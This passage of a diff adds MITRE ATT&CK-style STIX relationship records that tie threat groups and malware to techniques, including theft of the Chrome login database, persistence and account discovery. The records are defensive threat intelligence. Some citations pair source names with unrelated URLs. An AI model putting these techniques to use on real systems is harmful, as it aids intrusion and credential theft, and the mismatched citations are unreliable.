"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36112f24-7814-4c75-b5b7-a1205bb28b68", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. 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Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:22:39.347Z", + "type": "relationship", + "id": "relationship--523f4d23-13b0-4ec3-a544-2d0614617e04", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--f2dcee22-c275-405e-87fd-48630a19dfba", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) stores the gathered data from the machine in .db files and .bmp files under four separate locations.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad77932b-9632-4816-b9af-db6257f5a7d4", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. 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Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-14T21:04:44.775Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used WMI event filters to establish persistence.", + "type": "relationship", + "created": "2017-05-31T21:33:27.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--337dc23f-d825-415d-886b-53c3457fbd56", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. 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Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "modified": "2019-04-25T12:09:56.232Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.429Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. 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Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:15:13.799Z", + "type": "relationship", + "id": "relationship--069e82d5-89f2-4477-a1f5-115be8ab040a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.021Z", + "source_ref": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.915Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. 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Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.729Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:24:31.097Z", + "type": "relationship", + "id": "relationship--c28d6f10-431f-493c-8abd-918240c5c970", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.026Z", + "source_ref": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware deletes files in various ways, including \"suicide scripts\" to delete malware binaries from the victim. [Lazarus Group](https://attack.mitre.org/groups/G0032) also uses secure file deletion to delete files from the victim.", + "type": "relationship", + "created": "2017-05-31T21:33:27.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--979812c4-939e-4a7e-96b3-348028db10ce", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-29T18:13:08.350Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) executes net start after initial communication is made to the remote server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "modified": "2019-04-17T22:12:24.745Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[adbupd](https://attack.mitre.org/software/S0202) can use a WMI script to achieve persistence.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc249532-826d-4bc2-8b03-43f284fe609f", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "relationship_type": "uses", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.210Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f648221-38fe-4c81-b6d6-d41c398ff870", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.449Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has used the [RIPTIDE](https://attack.mitre.org/software/S0003) RAT, which communicates over HTTP with a payload encrypted with RC4.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c945e5f2-5622-46ce-8b35-468d41d2af46", + "external_references": [ + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of watching the victim's screen.", + "type": "relationship", + "created": "2017-05-31T21:33:27.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e69c855-db70-4b5e-866b-f9ce0b786156", + "external_references": [ + { + "source_name": "Citizen Lab Group5", + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "modified": "2019-07-25T17:52:06.542Z", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.129Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware attempts to maintain persistence by saving itself in the Start menu folder or by adding a Registry Run key.", + "type": "relationship", + "created": "2017-05-31T21:33:27.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.352Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) uses remote services such as VPN, Citrix, or OWA to persist in an environment.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55e34506-746d-4895-928b-72c2e358161d", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:29.724Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CallMe](https://attack.mitre.org/software/S0077) uses AES to encrypt C2 traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has targeted victims with spearphishing emails containing malicious Microsoft Word documents.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--061841f1-5814-41e3-94b5-536b8a52d062", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2019-04-29T18:13:08.394Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has leveraged both Spearphishing Link and Spearphishing Attachment attempting to gain User Execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3aacea96-941f-4a1d-8981-36d2a0e62cf3", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.629Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) scanned the \u201cProgram Files\u201d directories for a directory with the string \u201cTotal Security\u201d (the installation path of the \u201c360 Total Security\u201d antivirus tool).", + "type": "relationship", + "created": "2017-05-31T21:33:27.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "modified": "2019-07-11T13:53:05.733Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) uses batch scripts for various purposes, including to restart and uninstall itself.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1782bb6e-7a06-4dfb-96f5-dd671d8a02d5", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Each time a new drive is inserted, [InvisiMole](https://attack.mitre.org/software/S0260) generates a list of all files on the drive and stores it in an encrypted file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c87cbebf-6b1f-480d-802d-5a2004256183", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T15:36:46.882Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b38984a2-0761-4107-b61e-4d27cc22a2c0", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f76fd4d-a638-41a0-90b9-bd4ada6f93f3", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.315Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used the Intel\u00ae Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c83da269-9c77-4941-bf69-8e79bdfa5edf", + "external_references": [ + { + "source_name": "Microsoft PLATINUM June 2017", + "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc" + } + ], + "modified": "2019-05-10T12:14:32.101Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) dumped the login data database from \\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.", + "type": "relationship", + "created": "2017-05-31T21:33:27.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "modified": "2019-07-11T13:53:05.738Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs account discovery using commands such as net localgroup administrators and net group \"REDACTED\" /domain on specific permissions groups.", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.305Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Microsoft administration tool csvde.exe to export Active Directory data.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + 